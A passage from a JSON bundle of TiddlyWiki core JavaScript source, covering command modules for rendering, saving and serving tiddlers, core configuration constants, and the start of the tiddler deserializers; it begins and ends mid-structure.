            "text": "/*\\\ntitle: $:/core/modules/commands/render.js\ntype: application/javascript\nmodule-type: command\n\nRender individual tiddlers and save the results to the specified files\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nexports.info = {\n\tname: \"render\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 1) {\n\t\treturn \"Missing tiddler filter\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\twiki = this.commander.wiki,\n\t\ttiddlerFilter = this.params[0],\n\t\tfilenameFilter = this.params[1] || \"[is[tiddler]addsuffix[.html]]\",\n\t\ttype = this.params[2] || \"text/html\",\n\t\ttemplate = this.params[3],\n\t\tvarName = this.params[4],\n\t\tvarValue = this.params[5],\n\t\ttiddlers = wiki.filterTiddlers(tiddlerFilter);\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar parser = wiki.parseTiddler(template || title),\n\t\t\tvariables = {currentTiddler: title};\n\t\tif(varName) {\n\t\t\tvariables[varName] = varValue || \"\";\n\t\t}\n\t\tvar widgetNode = wiki.makeWidget(parser,{variables: variables}),\n\t\t\tcontainer = $tw.fakeDocument.createElement(\"div\");\n\t\twidgetNode.render(container,null);\n\t\tvar text = type === \"text/html\" ? container.innerHTML : container.textContent,\n\t\t\tfilepath = path.resolve(self.commander.outputPath,wiki.filterTiddlers(filenameFilter,$tw.rootWidget,wiki.makeTiddlerIterator([title]))[0]);\n\t\tif(self.commander.verbose) {\n\t\t\tconsole.log(\"Rendering \\\"\" + title + \"\\\" to \\\"\" + filepath + \"\\\"\");\n\t\t}\n\t\t$tw.utils.createFileDirectories(filepath);\n\t\tfs.writeFileSync(filepath,text,\"utf8\");\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/rendertiddler.js": {
            "title": "$:/core/modules/commands/rendertiddler.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/rendertiddler.js\ntype: application/javascript\nmodule-type: command\n\nCommand to render a tiddler and save it to a file\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"rendertiddler\",\n\tsynchronous: false\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 2) {\n\t\treturn \"Missing filename\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\ttitle = this.params[0],\n\t\tfilename = path.resolve(this.commander.outputPath,this.params[1]),\n\t\ttype = this.params[2] || \"text/html\",\n\t\ttemplate = this.params[3],\n\t\tname = this.params[4],\n\t\tvalue = this.params[5],\n\t\tvariables = {};\n\t$tw.utils.createFileDirectories(filename);\n\tif(template) {\n\t\tvariables.currentTiddler = title;\n\t\ttitle = template;\n\t}\n\tif(name && value) {\n\t\tvariables[name] = value;\n\t}\n\tfs.writeFile(filename,this.commander.wiki.renderTiddler(type,title,{variables: variables}),\"utf8\",function(err) {\n\t\tself.callback(err);\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/rendertiddlers.js": {
            "title": "$:/core/modules/commands/rendertiddlers.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/rendertiddlers.js\ntype: application/javascript\nmodule-type: command\n\nCommand to render several tiddlers to a folder of files\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nexports.info = {\n\tname: \"rendertiddlers\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 2) {\n\t\treturn \"Missing filename\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\twiki = this.commander.wiki,\n\t\tfilter = this.params[0],\n\t\ttemplate = this.params[1],\n\t\toutputPath = this.commander.outputPath,\n\t\tpathname = path.resolve(outputPath,this.params[2]),\t\t\n\t\ttype = this.params[3] || \"text/html\",\n\t\textension = this.params[4] || \".html\",\n\t\tdeleteDirectory = (this.params[5] || \"\").toLowerCase() !== \"noclean\",\n\t\ttiddlers = wiki.filterTiddlers(filter);\n\tif(deleteDirectory) {\n\t\t$tw.utils.deleteDirectory(pathname);\n\t}\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar parser = wiki.parseTiddler(template),\n\t\t\twidgetNode = wiki.makeWidget(parser,{variables: {currentTiddler: title}}),\n\t\t\tcontainer = $tw.fakeDocument.createElement(\"div\");\n\t\twidgetNode.render(container,null);\n\t\tvar text = type === \"text/html\" ? container.innerHTML : container.textContent,\n\t\t\texportPath = null;\n\t\tif($tw.utils.hop($tw.macros,\"tv-get-export-path\")) {\n\t\t\tvar macroPath = $tw.macros[\"tv-get-export-path\"].run.apply(self,[title]);\n\t\t\tif(macroPath) {\n\t\t\t\texportPath = path.resolve(outputPath,macroPath + extension);\n\t\t\t}\n\t\t}\n\t\tvar finalPath = exportPath || path.resolve(pathname,encodeURIComponent(title) + extension);\n\t\t$tw.utils.createFileDirectories(finalPath);\n\t\tfs.writeFileSync(finalPath,text,\"utf8\");\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/save.js": {
            "title": "$:/core/modules/commands/save.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/save.js\ntype: application/javascript\nmodule-type: command\n\nSaves individual tiddlers in their raw text or binary format to the specified files\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"save\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 1) {\n\t\treturn \"Missing filename filter\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\twiki = this.commander.wiki,\n\t\ttiddlerFilter = this.params[0],\n\t\tfilenameFilter = this.params[1] || \"[is[tiddler]]\",\n\t\ttiddlers = wiki.filterTiddlers(tiddlerFilter);\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar tiddler = self.commander.wiki.getTiddler(title),\n\t\t\ttype = tiddler.fields.type || \"text/vnd.tiddlywiki\",\n\t\t\tcontentTypeInfo = $tw.config.contentTypeInfo[type] || {encoding: \"utf8\"},\n\t\t\tfilepath = path.resolve(self.commander.outputPath,wiki.filterTiddlers(filenameFilter,$tw.rootWidget,wiki.makeTiddlerIterator([title]))[0]);\n\t\tif(self.commander.verbose) {\n\t\t\tconsole.log(\"Saving \\\"\" + title + \"\\\" to \\\"\" + filepath + \"\\\"\");\n\t\t}\n\t\t$tw.utils.createFileDirectories(filepath);\n\t\tfs.writeFileSync(filepath,tiddler.fields.text,contentTypeInfo.encoding);\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/savelibrarytiddlers.js": {
            "title": "$:/core/modules/commands/savelibrarytiddlers.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/savelibrarytiddlers.js\ntype: application/javascript\nmodule-type: command\n\nCommand to save the subtiddlers of a bundle tiddler as a series of JSON files\n\n--savelibrarytiddlers <tiddler> <pathname> <skinnylisting>\n\nThe tiddler identifies the bundle tiddler that contains the subtiddlers.\n\nThe pathname specifies the pathname to the folder in which the JSON files should be saved. The filename is the URL encoded title of the subtiddler.\n\nThe skinnylisting specifies the title of the tiddler to which a JSON catalogue of the subtiddlers will be saved. The JSON file contains the same data as the bundle tiddler but with the `text` field removed.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"savelibrarytiddlers\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 2) {\n\t\treturn \"Missing filename\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\tcontainerTitle = this.params[0],\n\t\tfilter = this.params[1],\n\t\tbasepath = this.params[2],\n\t\tskinnyListTitle = this.params[3];\n\t// Get the container tiddler as data\n\tvar containerData = self.commander.wiki.getTiddlerDataCached(containerTitle,undefined);\n\tif(!containerData) {\n\t\treturn \"'\" + containerTitle + \"' is not a tiddler bundle\";\n\t}\n\t// Filter the list of plugins\n\tvar pluginList = [];\n\t$tw.utils.each(containerData.tiddlers,function(tiddler,title) {\n\t\tpluginList.push(title);\n\t});\n\tvar filteredPluginList;\n\tif(filter) {\n\t\tfilteredPluginList = self.commander.wiki.filterTiddlers(filter,null,self.commander.wiki.makeTiddlerIterator(pluginList));\n\t} else {\n\t\tfilteredPluginList = pluginList;\n\t}\n\t// Iterate through the plugins\n\tvar skinnyList = [];\n\t$tw.utils.each(filteredPluginList,function(title) {\n\t\tvar tiddler = containerData.tiddlers[title];\n\t\t// Save each JSON file and collect the skinny data\n\t\tvar pathname = path.resolve(self.commander.outputPath,basepath + encodeURIComponent(title) + \".json\");\n\t\t$tw.utils.createFileDirectories(pathname);\n\t\tfs.writeFileSync(pathname,JSON.stringify(tiddler,null,$tw.config.preferences.jsonSpaces),\"utf8\");\n\t\t// Collect the skinny list data\n\t\tvar pluginTiddlers = JSON.parse(tiddler.text),\n\t\t\treadmeContent = (pluginTiddlers.tiddlers[title + \"/readme\"] || {}).text,\n\t\t\ticonTiddler = pluginTiddlers.tiddlers[title + \"/icon\"] || {},\n\t\t\ticonType = iconTiddler.type,\n\t\t\ticonText = iconTiddler.text,\n\t\t\ticonContent;\n\t\tif(iconType && iconText) {\n\t\t\ticonContent = $tw.utils.makeDataUri(iconText,iconType);\n\t\t}\n\t\tskinnyList.push($tw.utils.extend({},tiddler,{text: undefined, readme: readmeContent, icon: iconContent}));\n\t});\n\t// Save the catalogue tiddler\n\tif(skinnyListTitle) {\n\t\tself.commander.wiki.setTiddlerData(skinnyListTitle,skinnyList);\n\t}\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/savetiddler.js": {
            "title": "$:/core/modules/commands/savetiddler.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/savetiddler.js\ntype: application/javascript\nmodule-type: command\n\nCommand to save the content of a tiddler to a file\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"savetiddler\",\n\tsynchronous: false\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 2) {\n\t\treturn \"Missing filename\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\ttitle = this.params[0],\n\t\tfilename = path.resolve(this.commander.outputPath,this.params[1]),\n\t\ttiddler = this.commander.wiki.getTiddler(title);\n\tif(tiddler) {\n\t\tvar type = tiddler.fields.type || \"text/vnd.tiddlywiki\",\n\t\t\tcontentTypeInfo = $tw.config.contentTypeInfo[type] || {encoding: \"utf8\"};\n\t\t$tw.utils.createFileDirectories(filename);\n\t\tfs.writeFile(filename,tiddler.fields.text,contentTypeInfo.encoding,function(err) {\n\t\t\tself.callback(err);\n\t\t});\n\t} else {\n\t\treturn \"Missing tiddler: \" + title;\n\t}\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/savetiddlers.js": {
            "title": "$:/core/modules/commands/savetiddlers.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/savetiddlers.js\ntype: application/javascript\nmodule-type: command\n\nCommand to save several tiddlers to a folder of files\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nexports.info = {\n\tname: \"savetiddlers\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 1) {\n\t\treturn \"Missing filename\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\twiki = this.commander.wiki,\n\t\tfilter = this.params[0],\n\t\tpathname = path.resolve(this.commander.outputPath,this.params[1]),\n\t\tdeleteDirectory = (this.params[2] || \"\").toLowerCase() !== \"noclean\",\n\t\ttiddlers = wiki.filterTiddlers(filter);\n\tif(deleteDirectory) {\n\t\t$tw.utils.deleteDirectory(pathname);\n\t}\n\t$tw.utils.createDirectory(pathname);\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar tiddler = self.commander.wiki.getTiddler(title),\n\t\t\ttype = tiddler.fields.type || \"text/vnd.tiddlywiki\",\n\t\t\tcontentTypeInfo = $tw.config.contentTypeInfo[type] || {encoding: \"utf8\"},\n\t\t\tfilename = path.resolve(pathname,encodeURIComponent(title));\n\t\tfs.writeFileSync(filename,tiddler.fields.text,contentTypeInfo.encoding);\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/server.js": {
            "title": "$:/core/modules/commands/server.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/server.js\ntype: application/javascript\nmodule-type: command\n\nDeprecated legacy command for serving tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Server = require(\"$:/core/modules/server/server.js\").Server;\n\nexports.info = {\n\tname: \"server\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tvar self = this;\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(!$tw.boot.wikiTiddlersPath) {\n\t\t$tw.utils.warning(\"Warning: Wiki folder '\" + $tw.boot.wikiPath + \"' does not exist or is missing a tiddlywiki.info file\");\n\t}\n\t// Set up server\n\tthis.server = new Server({\n\t\twiki: this.commander.wiki,\n\t\tvariables: {\n\t\t\tport: this.params[0],\n\t\t\thost: this.params[6],\n\t\t\t\"root-tiddler\": this.params[1],\n\t\t\t\"root-render-type\": this.params[2],\n\t\t\t\"root-serve-type\": this.params[3],\n\t\t\tusername: this.params[4],\n\t\t\tpassword: this.params[5],\n\t\t\t\"path-prefix\": this.params[7],\n\t\t\t\"debug-level\": this.params[8]\n\t\t}\n\t});\n\tvar nodeServer = this.server.listen();\n\t$tw.hooks.invokeHook(\"th-server-command-post-start\",this.server,nodeServer,\"tiddlywiki\");\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/setfield.js": {
            "title": "$:/core/modules/commands/setfield.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/setfield.js\ntype: application/javascript\nmodule-type: command\n\nCommand to modify selected tiddlers to set a field to the text of a template tiddler that has been wikified with the selected tiddler as the current tiddler.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nexports.info = {\n\tname: \"setfield\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 4) {\n\t\treturn \"Missing parameters\";\n\t}\n\tvar self = this,\n\t\twiki = this.commander.wiki,\n\t\tfilter = this.params[0],\n\t\tfieldname = this.params[1] || \"text\",\n\t\ttemplatetitle = this.params[2],\n\t\trendertype = this.params[3] || \"text/plain\",\n\t\ttiddlers = wiki.filterTiddlers(filter);\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar parser = wiki.parseTiddler(templatetitle),\n\t\t\tnewFields = {},\n\t\t\ttiddler = wiki.getTiddler(title);\n\t\tif(parser) {\n\t\t\tvar widgetNode = wiki.makeWidget(parser,{variables: {currentTiddler: title}});\n\t\t\tvar container = $tw.fakeDocument.createElement(\"div\");\n\t\t\twidgetNode.render(container,null);\n\t\t\tnewFields[fieldname] = rendertype === \"text/html\" ? container.innerHTML : container.textContent;\n\t\t} else {\n\t\t\tnewFields[fieldname] = undefined;\n\t\t}\n\t\twiki.addTiddler(new $tw.Tiddler(tiddler,newFields));\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/unpackplugin.js": {
            "title": "$:/core/modules/commands/unpackplugin.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/unpackplugin.js\ntype: application/javascript\nmodule-type: command\n\nCommand to extract the shadow tiddlers from within a plugin\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"unpackplugin\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 1) {\n\t\treturn \"Missing plugin name\";\n\t}\n\tvar self = this,\n\t\ttitle = this.params[0],\n\t\tpluginData = this.commander.wiki.getTiddlerDataCached(title);\n\tif(!pluginData) {\n\t\treturn \"Plugin '\" + title + \"' not found\";\n\t}\n\t$tw.utils.each(pluginData.tiddlers,function(tiddler) {\n\t\tself.commander.wiki.addTiddler(new $tw.Tiddler(tiddler));\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/verbose.js": {
            "title": "$:/core/modules/commands/verbose.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/verbose.js\ntype: application/javascript\nmodule-type: command\n\nVerbose command\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"verbose\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander) {\n\tthis.params = params;\n\tthis.commander = commander;\n};\n\nCommand.prototype.execute = function() {\n\tthis.commander.verbose = true;\n\t// Output the boot message log\n\tthis.commander.streams.output.write(\"Boot log:\\n  \" + $tw.boot.logMessages.join(\"\\n  \") + \"\\n\");\n\treturn null; // No error\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/version.js": {
            "title": "$:/core/modules/commands/version.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/version.js\ntype: application/javascript\nmodule-type: command\n\nVersion command\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"version\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander) {\n\tthis.params = params;\n\tthis.commander = commander;\n};\n\nCommand.prototype.execute = function() {\n\tthis.commander.streams.output.write($tw.version + \"\\n\");\n\treturn null; // No error\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/config.js": {
            "title": "$:/core/modules/config.js",
            "text": "/*\\\ntitle: $:/core/modules/config.js\ntype: application/javascript\nmodule-type: config\n\nCore configuration constants\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.preferences = {};\n\nexports.preferences.notificationDuration = 3 * 1000;\nexports.preferences.jsonSpaces = 4;\n\nexports.textPrimitives = {\n\tupperLetter: \"[A-Z\\u00c0-\\u00d6\\u00d8-\\u00de\\u0150\\u0170]\",\n\tlowerLetter: \"[a-z\\u00df-\\u00f6\\u00f8-\\u00ff\\u0151\\u0171]\",\n\tanyLetter:   \"[A-Za-z0-9\\u00c0-\\u00d6\\u00d8-\\u00de\\u00df-\\u00f6\\u00f8-\\u00ff\\u0150\\u0170\\u0151\\u0171]\",\n\tblockPrefixLetters:\t\"[A-Za-z0-9-_\\u00c0-\\u00d6\\u00d8-\\u00de\\u00df-\\u00f6\\u00f8-\\u00ff\\u0150\\u0170\\u0151\\u0171]\"\n};\n\nexports.textPrimitives.unWikiLink = \"~\";\nexports.textPrimitives.wikiLink = exports.textPrimitives.upperLetter + \"+\" +\n\texports.textPrimitives.lowerLetter + \"+\" +\n\texports.textPrimitives.upperLetter +\n\texports.textPrimitives.anyLetter + \"*\";\n\nexports.htmlEntities = {quot:34, amp:38, apos:39, lt:60, gt:62, nbsp:160, iexcl:161, cent:162, pound:163, curren:164, yen:165, brvbar:166, sect:167, uml:168, copy:169, ordf:170, laquo:171, not:172, shy:173, reg:174, macr:175, deg:176, plusmn:177, sup2:178, sup3:179, acute:180, micro:181, para:182, middot:183, cedil:184, sup1:185, ordm:186, raquo:187, frac14:188, frac12:189, frac34:190, iquest:191, Agrave:192, Aacute:193, Acirc:194, Atilde:195, Auml:196, Aring:197, AElig:198, Ccedil:199, Egrave:200, Eacute:201, Ecirc:202, Euml:203, Igrave:204, Iacute:205, Icirc:206, Iuml:207, ETH:208, Ntilde:209, Ograve:210, Oacute:211, Ocirc:212, Otilde:213, Ouml:214, times:215, Oslash:216, Ugrave:217, Uacute:218, Ucirc:219, Uuml:220, Yacute:221, THORN:222, szlig:223, agrave:224, aacute:225, acirc:226, atilde:227, auml:228, aring:229, aelig:230, ccedil:231, egrave:232, eacute:233, ecirc:234, euml:235, igrave:236, iacute:237, icirc:238, iuml:239, eth:240, ntilde:241, ograve:242, oacute:243, ocirc:244, otilde:245, ouml:246, divide:247, oslash:248, ugrave:249, uacute:250, ucirc:251, uuml:252, yacute:253, thorn:254, yuml:255, OElig:338, oelig:339, Scaron:352, scaron:353, Yuml:376, fnof:402, circ:710, tilde:732, Alpha:913, Beta:914, Gamma:915, Delta:916, Epsilon:917, Zeta:918, Eta:919, Theta:920, Iota:921, Kappa:922, Lambda:923, Mu:924, Nu:925, Xi:926, Omicron:927, Pi:928, Rho:929, Sigma:931, Tau:932, Upsilon:933, Phi:934, Chi:935, Psi:936, Omega:937, alpha:945, beta:946, gamma:947, delta:948, epsilon:949, zeta:950, eta:951, theta:952, iota:953, kappa:954, lambda:955, mu:956, nu:957, xi:958, omicron:959, pi:960, rho:961, sigmaf:962, sigma:963, tau:964, upsilon:965, phi:966, chi:967, psi:968, omega:969, thetasym:977, upsih:978, piv:982, ensp:8194, emsp:8195, thinsp:8201, zwnj:8204, zwj:8205, lrm:8206, rlm:8207, ndash:8211, mdash:8212, lsquo:8216, rsquo:8217, sbquo:8218, ldquo:8220, rdquo:8221, bdquo:8222, dagger:8224, Dagger:8225, bull:8226, hellip:8230, permil:8240, prime:8242, Prime:8243, lsaquo:8249, rsaquo:8250, oline:8254, frasl:8260, euro:8364, image:8465, weierp:8472, real:8476, trade:8482, alefsym:8501, larr:8592, uarr:8593, rarr:8594, darr:8595, harr:8596, crarr:8629, lArr:8656, uArr:8657, rArr:8658, dArr:8659, hArr:8660, forall:8704, part:8706, exist:8707, empty:8709, nabla:8711, isin:8712, notin:8713, ni:8715, prod:8719, sum:8721, minus:8722, lowast:8727, radic:8730, prop:8733, infin:8734, ang:8736, and:8743, or:8744, cap:8745, cup:8746, int:8747, there4:8756, sim:8764, cong:8773, asymp:8776, ne:8800, equiv:8801, le:8804, ge:8805, sub:8834, sup:8835, nsub:8836, sube:8838, supe:8839, oplus:8853, otimes:8855, perp:8869, sdot:8901, lceil:8968, rceil:8969, lfloor:8970, rfloor:8971, lang:9001, rang:9002, loz:9674, spades:9824, clubs:9827, hearts:9829, diams:9830 };\n\nexports.htmlVoidElements = \"area,base,br,col,command,embed,hr,img,input,keygen,link,meta,param,source,track,wbr\".split(\",\");\n\nexports.htmlBlockElements = \"address,article,aside,audio,blockquote,canvas,dd,div,dl,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,hr,li,noscript,ol,output,p,pre,section,table,tfoot,ul,video\".split(\",\");\n\nexports.htmlUnsafeElements = \"script\".split(\",\");\n\n})();\n",
            "type": "application/javascript",
            "module-type": "config"
        },
        "$:/core/modules/deserializers.js": {
            "title": "$:/core/modules/deserializers.js",
            "text": "/*\\\ntitle: $:/core/modules/deserializers.js\ntype: application/javascript\nmodule-type: tiddlerdeserializer\n\nFunctions to deserialise tiddlers from a block of text\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nUtility function to parse an old-style tiddler DIV in a *.tid file. It looks like this:\n\n<div title=\"Title\" creator=\"JoeBloggs\" modifier=\"JoeBloggs\" created=\"201102111106\" modified=\"201102111310\" tags=\"myTag [[my long tag]]\">\n<pre>The text of the tiddler (without the expected HTML encoding).\n</pre>\n</div>\n\nNote that the field attributes are HTML encoded, but that the body of the <PRE> tag is not encoded.\n\nWhen these tiddler DIVs are encountered within a TiddlyWiki HTML file then the body is encoded in the usual way.\n*/\nvar parseTiddlerDiv = function(text /* [,fields] */) {\n\t// Slot together the default results\n\tvar result = {};\n\tif(arguments.length > 1) {\n\t\tfor(var f=1; f<arguments.length; f++) {\n\t\t\tvar fields = arguments[f];\n\t\t\tfor(var t in fields) {\n\t\t\t\tresult[t] = fields[t];\t\t\n\t\t\t}\n\t\t}\n\t}\n\t// Parse the DIV body\n\tvar startRegExp = /^\\s*<div\\s+([^>]*)>(\\s*<pre>)?/gi,\n\t\tendRegExp,\n\t\tmatch = startRegExp.exec(text);\n\tif(match) {\n\t\t// Old-style DIVs don't have the <pre> tag\n\t\tif(match[2]) {\n\t\t\tendRegExp = /<\\/pre>\\s*<\\/div>\\s*$/gi;\n\t\t} else {\n\t\t\tendRegExp = /<\\/div>\\s*$/gi;\n\t\t}\n\t\tvar endMatch = endRegExp.exec(text);\n\t\tif(endMatch) {\n\t\t\t// Extract the text\n\t\t\tresult.text = text.substring(match.index + match[0].length,endMatch.index);\n\t\t\t// Process the attributes\n\t\t\tvar attrRegExp = /\\s*([^=\\s]+)\\s*=\\s*(?:\"([^\"]*)\"|'([^']*)')/gi,\n\t\t\t\tattrMatch;\n\t\t\tdo {\n\t\t\t\tattrMatch = attrRegExp.exec(match[1]);\n\t\t\t\tif(attrMatch) {\n\t\t\t\t\tvar name = attrMatch[1];\n\t\t\t\t\tvar value = attrMatch[2] !== undefined ? attrMatch[2] : attrMatch[3];\n\t\t\t\t\tresult[name] = value;\n\t\t\t\t}\n\t\t\t} while(attrMatch);\n\t\t\treturn result;\n\t\t}\n\t}\n\treturn undefined;\n};\n\nexports[\"application/x-tiddler-html-div\"] = function(text,fields) {\n\treturn [parseTiddlerDiv(text,fields)];\n};\n\nexports[\"application/json\"] = function(text,fields) {\n\tvar incoming,\n\t\tresults = [];\n\ttry {\n\t\tincoming = JSON.parse(text);\n\t} catch(e) {\n\t\tincoming = [{\n\t\t\ttitle: \"JSON error: \" + e,\n\t\t\ttext: \"\"\n\t\t}]\n\t}\n\tif(!$tw.utils.isArray(incoming)) {\n\t\tincoming = [incoming];\n\t}\n\tfor(var t=0; t<incoming.length; t++) {\n\t\tvar incomingFields = incoming[t],\n\t\t\tfields = {};\n\t\tfor(var f in incomingFields) {\n\t\t\tif(typeof incomingFields[f] === \"string\") {\n\t\t\t\tfields[f] = incomingFields[f];\n\t\t\t}\n\t\t}\n\t\tresults.push(fields);\n\t}\n\treturn results;\n};\n\n/*\nParse an HTML file into tiddlers. There are three possibilities:\n# A TiddlyWiki classic HTML file containing `text/x-tiddlywiki` tiddlers\n# A TiddlyWiki5 HTML file containing `text/vnd.tiddlywiki` tiddlers\n# An ordinary HTML file\n*/\nexports[\"text/html\"] = function(text,fields) {\n\t// Check if we've got a store area\n\tvar storeAreaMarkerRegExp = /<div id=[\"']?storeArea['\"]?( style=[\"']?display:none;[\"']?)?>/gi,\n\t\tmatch = storeAreaMarkerRegExp.exec(text);\n\tif(match) {\n\t\t// If so, it's either a classic TiddlyWiki file or an unencrypted TW5 file\n\t\t// First read the normal tiddlers\n\t\tvar results = deserializeTiddlyWikiFile(text,storeAreaMarkerRegExp.lastIndex,!!match[1],fields);\n\t\t// Then any system tiddlers\n\t\tvar systemAreaMarkerRegExp = /<div id=[\"']?systemArea['\"]?( style=[\"']?display:none;[\"']?)?>/gi,\n\t\t\tsysMatch = systemAreaMarkerRegExp.exec(text);\n\t\tif(sysMatch) {\n\t\t\tresults.push.apply(results,deserializeTiddlyWikiFile(text,systemAreaMarkerRegExp.lastIndex,!!sysMatch[1],fields));\n\t\t}\n\t\treturn results;\n\t} else {\n\t\t// Check whether we've got an encrypted file\n\t\tvar encryptedStoreArea = 